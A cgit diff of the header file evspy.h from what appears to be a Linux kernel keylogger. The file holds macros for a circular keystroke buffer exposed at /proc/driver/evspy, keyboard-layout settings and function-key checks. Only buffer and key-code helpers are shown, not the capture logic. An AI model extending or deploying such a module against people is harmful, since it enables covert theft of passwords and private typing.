summaryrefslogtreecommitdiff
path: root/evspy/evspy.h
diff options
context:
space:
mode:
Diffstat (limited to 'evspy/evspy.h')
-rw-r--r--evspy/evspy.h65
1 files changed, 32 insertions, 33 deletions
diff --git a/evspy/evspy.h b/evspy/evspy.h
index 1575b71..cc5806f 100644
--- a/evspy/evspy.h
+++ b/evspy/evspy.h
@@ -1,11 +1,12 @@
+#include <linux/input.h>
+// TODO include PAGE_SIZE etc
#include "maps.h"
-#define EVS_MAP map_es // change this to your keyboard layout
-#define EVS_TROLL 1 // clear this if you're a serious guy
+#define EVS_MAP map_es // change this to your keyboard layout
+#define EVS_TROLL 1 // clear this if you're a serious guy
#define EVS_PROCNAME "driver/evspy" // virtual file within /proc
-#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer
+#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer
-//#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#define MIN(x, y) (x) < (y) ? (x) : (y)
/*
@@ -22,10 +23,22 @@
})
/*
- * Insert a character where wrp is pointing and move it to the next char.
+ * Same as evs_incp but backwards
+ */
+#define evs_decp(p) \
+({ \
+ if (p == buffer) \
+ p = &buffer[EVS_BUFSIZE-1]; \
+ else \
+ p--; \
+ p; \
+})
+
+/*
+ * Insert character c where wrp is pointing and move it to the next char.
* If rdp == wrp, increase rdp too.
*/
-#define evs_insrt(c) \
+#define evs_insert(c) \
({ \
*wrp = c; \
if (evs_incp(wrp) == rdp) \
@@ -33,39 +46,25 @@
})
/*
- * Is the c event code associated to any of the FX buttons?
- * NOTE: F1-F10 events are consecutive numbers, but F11 & F12 are not. (?)
+ * Remove a character from the buffer
*/
-#define isfX(c) \
+#define evs_delete() \
({ \
- (c >= EVS_COD_F1 && c <= EVS_COD_F10) || \
- (c == EVS_COD_F11 || c == EVS_COD_F12); \
+ if (wrp != rdp && evs_decp(wrp) == rdp) \
+ evs_incp(rdp); \
})
-// Bloq mayus has its own type
-#define EVS_TYPE_BLKMAYUS 17
+/*
+ * Is the c event code associated to any of the FX buttons?
+ */
+#define evs_isfX(c) \
+({ \
+ (c >= KEY_F1 && c <= KEY_F10) || \
+ (c == KEY_F11 || c == KEY_F12) || \
+ (c >= KEY_F13 && c <= KEY_F24); \
+})
// Event values
#define EVS_VAL_FREE 0
#define EVS_VAL_PRESS 1
#define EVS_VAL_HOLD 2
-
-// Event codes
-#define EVS_COD_ESC 1
-#define EVS_COD_TAB 15
-#define EVS_COD_LCTRL 29
-#define EVS_COD_LMAYUS 42
-#define EVS_COD_DOT 52
-#define EVS_COD_RMAYUS 54
-#define EVS_COD_ALT 56
-#define EVS_COD_BLKMAYUS 58
-#define EVS_COD_F1 59
-#define EVS_COD_F10 68
-#define EVS_COD_F11 87
-#define EVS_COD_F12 88
-#define EVS_COD_RCTRL 97
-#define EVS_COD_ALTGR 100
-#define EVS_COD_UP_AR 103
-#define EVS_COD_DOWN_AR 108
-#define EVS_COD_LEFT_AR 105
-#define EVS_COD_RIGHT_AR 106